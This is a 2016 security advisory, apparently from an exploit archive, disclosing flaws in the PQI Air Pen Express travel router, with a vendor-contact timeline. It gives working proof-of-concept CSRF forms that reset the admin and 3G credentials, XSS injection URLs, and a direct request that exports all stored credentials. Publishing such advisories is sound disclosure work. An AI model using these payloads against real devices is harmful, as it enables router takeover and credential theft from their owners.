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"PQI Air Pen Express 6W51-0000R2/6W51-0000R2XXX - Multiple Vulnerabilities"

Author

Exploit author

Orwelllabs

Platform

Exploit platform

hardware

Release date

Exploit published date

2016-04-04

Download file

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_ _ _       _
                        | | | |     | |
  ___  _ ____      _____| | | | __ _| |__  ___
 / _ \| '__\ \ /\ / / _ \ | | |/ _` | '_ \/ __|   	
| (_) | |   \ V  V /  __/ | | | (_| | |_) \__ \
 \___/|_|    \_/\_/ \___|_|_|_|\__,_|_.__/|___/
		
		Security Adivisory
		   2016-04-03
		www.orwelllabs.com
		Twitter:@orwelllabs

				magicword: d0ubl3th1nk1ng...


Overview
=======
Technical Risk: high
Likelihood of Exploitation: medium
Vendor: PQI Group
Affected Products: PQI Air Pen Express - Wireless Router 6W51-0000R2 and
6W51-0000R2XXX
Credits: Discovered and researched by Orwelllabs
Adivisory URL:
http://www.orwelllabs.com/2016/04/pqi-air-pen-express-wireless-router.html


Issues
=====
I. Multiple Cross-Site Request Forgery (CSRF) (CWE-352)
II. Multiple Stored Cross-site Scripting (CWE-79)
III. Multiple Reflected Cross-Site Scripting (CWE-79)
IV. Insecure Direct Request
V. Insecure Default Permissions (CWE-276)
VI. No SSL


background
=========
The smart lipstick-shaped PQI Air Pen express is the world's smallest
wireless router/access point combo you can get today.
PQI Air Pen express can be powered via an external adapter or a powered USB
port on your computer and provide a excellent wireless expreience for
everyone.


I. Cross-Site Request Forgery (CSRF) (CWE-352)
```````````````````````````````````````````````````````````````````````
If a user visits a page bellow, this will set the administrative credential
for PQI Air Pen express to "root:r00t"

<html>
<!-- CSRF PoC -->
<body>
<form action="http://{airpenXweb}/goform/setSysAdm" method="POST">
<input type="hidden" name="admuser" value="root" />
<input type="hidden" name="admpass" value="r00t" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>


The attacker can also abuse of the multiple XSS in this device to exploit
this vulnerability, something like this to set the same cred 'root:r00t'

http://
{airpenXweb}/goform/setWizard?connectionType=DHCP&ssid=%3Cscript%20src=%22
http://airpenXweb/goform/setSysAdm?admuser=root&admpass=r00t%22%3E%3C/script%3E%3C!--


The following poc will set the credential to access point to "3groot:3g00t"
(and of course, any other value could be set in this way.)

<html>
<!-- CSRF PoC2 -->
<body>
<form action="http://{airpenXweb}/goform/setWan" method="POST">
<input type="hidden" name="connectionType" value="DHCP" />
<input type="hidden" name="staticIp" value="xxx&#46;xxx&#46;xxx&#46;xxx" />
<input type="hidden" name="staticNetmask" value="255&#46;255&#46;255&#46;0"
/>
<input type="hidden" name="staticGateway"
value="xxx&#46;xxx&#46;xxx&#46;xxx" />
<input type="hidden" name="staticPriDns" value="xxx&#46;xxx&#46;xxx&#46;x"
/>
<input type="hidden" name="staticSecDns" value="xxx&#46;xxx&#46;xxx&#46;x"
/>
<input type="hidden" name="hostname" value="" />
<input type="hidden" name="pppoeUser" value="pppoe&#95;user" />

<input type="hidden" name="pppoePass" value="pppoe&#95;passwd" />
<input type="hidden" name="pppoePass2" value="pppoe&#95;passwd" />
<input type="hidden" name="pppoeOPMode" value="KeepAlive" />
<input type="hidden" name="pppoeRedialPeriod" value="60" />
<input type="hidden" name="pppoeIdleTime" value="5" />
<input type="hidden" name="l2tpServer" value="l2tp&#95;server" />
<input type="hidden" name="l2tpUser" value="l2tp&#95;user" />
<input type="hidden" name="l2tpPass" value="l2tp&#95;passwd" />
<input type="hidden" name="l2tpMode" value="0" />
<input type="hidden" name="l2tpIp" value="192&#46;168&#46;1&#46;1" />
<input type="hidden" name="l2tpNetmask" value="255&#46;255&#46;255&#46;0"
/>
<input type="hidden" name="l2tpGateway" value="192&#46;168&#46;1&#46;254"
/>
<input type="hidden" name="l2tpOPMode" value="KeepAlive" />
<input type="hidden" name="l2tpRedialPeriod" value="60" />
<input type="hidden" name="pptpServer" value="pptp&#95;server" />
<input type="hidden" name="pptpUser" value="pptp&#95;user" />
<input type="hidden" name="pptpPass" value="pptp&#95;passwd" />
<input type="hidden" name="pptpMode" value="0" />
<input type="hidden" name="pptpIp" value="192&#46;168&#46;1&#46;1" />
<input type="hidden" name="pptpNetmask" value="255&#46;255&#46;255&#46;0"
/>
<input type="hidden" name="pptpGateway" value="192&#46;168&#46;1&#46;254"
/>
<input type="hidden" name="pptpOPMode" value="KeepAlive" />
<input type="hidden" name="pptpRedialPeriod" value="60" />
<input type="hidden" name="APN3G" value="" />
<input type="hidden" name="PIN3G" value="" />
<input type="hidden" name="Dial3G" value="" />
<input type="hidden" name="User3G" value="3groot" />               < -- 3G
User
<input type="hidden" name="Password3G" value="3gr00t" />      <--  3G
Password
<input type="hidden" name="Dev3G" value="Auto" />
<input type="hidden" name="macCloneEnbl" value="0" />
<input type="hidden" name="macCloneMac" value="" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>


II. Stored Cross-site Scripting (CWE-79)
``````````````````````````````````````````````````````````
"Wide Area Network (WAN) Settings"

# PocParameter: "hostname"
http://{airpenXweb}/goform/setWan?connectionType=DHCP&staticIp=xxx.xxx.xxx.xxx&staticNetmask=255.255.255.0&staticGateway=&staticPriDns=&staticSecDns=xxx.xxx.xxx.xxx&hostname=[
* STOREDXSS
*]&pppoeUser=pppoe_user&pppoePass=pppoe_passwd&pppoePass2=pppoe_passwd&pppoeOPMode=KeepAlive&pppoeRedialPeriod=60&pppoeIdleTime=5&l2tpServer=l2tp_server&l2tpUser=l2tp_user&l2tpPass=l2tp_passwd&l2tpMode=0&l2tpIp=192.168.1.1&l2tpNetmask=255.255.255.0&l2tpGateway=192.168.1.254&l2tpOPMode=KeepAlive&l2tpRedialPeriod=60&pptpServer=pptp_server&pptpUser=pptp_user&pptpPass=pptp_passwd&pptpMode=0&pptpIp=192.168.1.1&pptpNetmask=255.255.255.0&pptpGateway=192.168.1.254&pptpOPMode=KeepAlive&pptpRedialPeriod=60&APN3G=&PIN3G=&Dial3G=&User3G=&Password3G=&Dev3G=Auto&macCloneEnbl=0&macCloneMac=


"Webs URL Filter Settings"

# PocParameter: "addURLFilter"
http://{airpenXweb}/goform/websURLFilter?addURLFilter=[ *STOREDXSS*
]&addwebsurlfilter=Add

Request in this page will show a pop-up with a content of javascript
payload:
http://{airpenXweb}/firewall/content_filtering.asp

# Parameter: "addHostFilter"
http://{airpenXweb}/goform/websHostFilter?addHostFilter=[ *STOREDXSS*
]&addwebscontentfilter=Add


III. Reflected Cross-Site Scripting (CWE-79)
``````````````````````````````````````````````````````````````
Virtually all application inputs are vulnerable to cross-site scripting,
since it is not carried out any validation of the data provided by the
user.
Bellow are some examples:


"Basic Wireless Settings"

# PocParameter: "mssid_0"
http://{airpenXweb}/goform/wirelessBasic?radiohiddenButton=2&wifihiddenButton=2&wirelessmode=9&bssid_num=1&mssid_0=[*
XSS *
]&mssid_1=&mssid_2=&mssid_3=&mssid_4=&mssid_5=&mssid_6=&mssid_8=&mssid_9=&mssid_10=&mssid_11=&mssid_12=&mssid_13=&mssid_14=&mssid_15=&broadcastssid=1&apisolated=0&mbssidapisolated=0&sz11gChannel=1&n_mode=0&n_bandwidth=1&n_gi=1&n_mcs=33&n_rdg=1&n_extcha=1&n_stbc=1&n_amsdu=0&n_autoba=1&n_badecline=0&n_disallow_tkip=1&n_2040_coexit=1&tx_stream=1&rx_stream=1

# PocParameter: "ssid"
http://{airpenXweb}/goform/setWizard?connectionType=DHCP&ssid=[ * XSS *
]&security_mode=Disable&wzsecureAlgorithm=AES

# PocParameter: "hostname"
http://{airpenXweb}/goform/setWan?connectionType=[ -*- XSS
-*-]&staticIp=xxx.xxx.xxx.xxx&staticNetmask=255.255.255.0&staticGateway=xxx.xxx.xxx.xxx&staticPriDns=xxx.xxx.xxx.xxx5&staticSecDns=203.185.0.36&hostname=tiat&pppoeUser=pppoe_user&pppoePass=pppoe_passwd&pppoePass2=pppoe_passwd&pppoeOPMode=KeepAlive&pppoeRedialPeriod=60&pppoeIdleTime=5&l2tpServer=l2tp_server&l2tpUser=l2tp_user&l2tpPass=l2tp_passwd&l2tpMode=0&l2tpIp=192.168.1.1&l2tpNetmask=255.255.255.0&l2tpGateway=192.168.1.254&l2tpOPMode=KeepAlive&l2tpRedialPeriod=60&pptpServer=pptp_server&pptpUser=pptp_user&pptpPass=pptp_passwd&pptpMode=0&pptpIp=192.168.1.1&pptpNetmask=255.255.255.0&pptpGateway=192.168.1.254&pptpOPMode=KeepAlive&pptpRedialPeriod=60&APN3G=&PIN3G=&Dial3G=&User3G=%3Cscript%3Ealert%281%29%3C/script%3E&Password3G=&Dev3G=Auto&macCloneEnbl=0&macCloneMac=

# Parameter: "admpass"
http://{airpenXweb}/goform/setSysAdm?admuser=root&admpass=[ -*- XSS -*- ]

IV. Insecure Direct Request
````````````````````````````````````````
This device allows remote attackers to obtain sensitive information,
including all credentials available via direct request to
/cgi-bin/ExportSettings.sh.

PoC:
http://{airpenXweb}/cgi-bin/ExportSettings.sh

V. Insecure Default Permissions (CWE-276)
``````````````````````````````````````````````````````````````
In the device description (on the Vendor's site) it is very clear that the
priority is to
facilitate everything for you, including setting. Therefore it is not
mandatory that a password
is configured for the web interface and not to connect to the AP, this way
you can find hundreds
of these completely unprotected APs.

VI. No SSL
``````````````````
Any action, whether sensitive or not is transmitted in plain text because
HTTPS is not used and no step.

POST /goform/setSysAdm HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101
Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxx.xxx.xxx/adm/management.asp
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

admuser=ORWL_user&admpass=ORWL_pass

Timeline
=======
2015-10-25 - Issues discovered
2015-11-04 - Vendor contacted
2015-12-12 - Another attempt to contact the Vendor...
2016-02-26 - Public Disclosure
* There is no easy way to contact the vendor. Emails sent remain unanswered
and forms site contacts as well.
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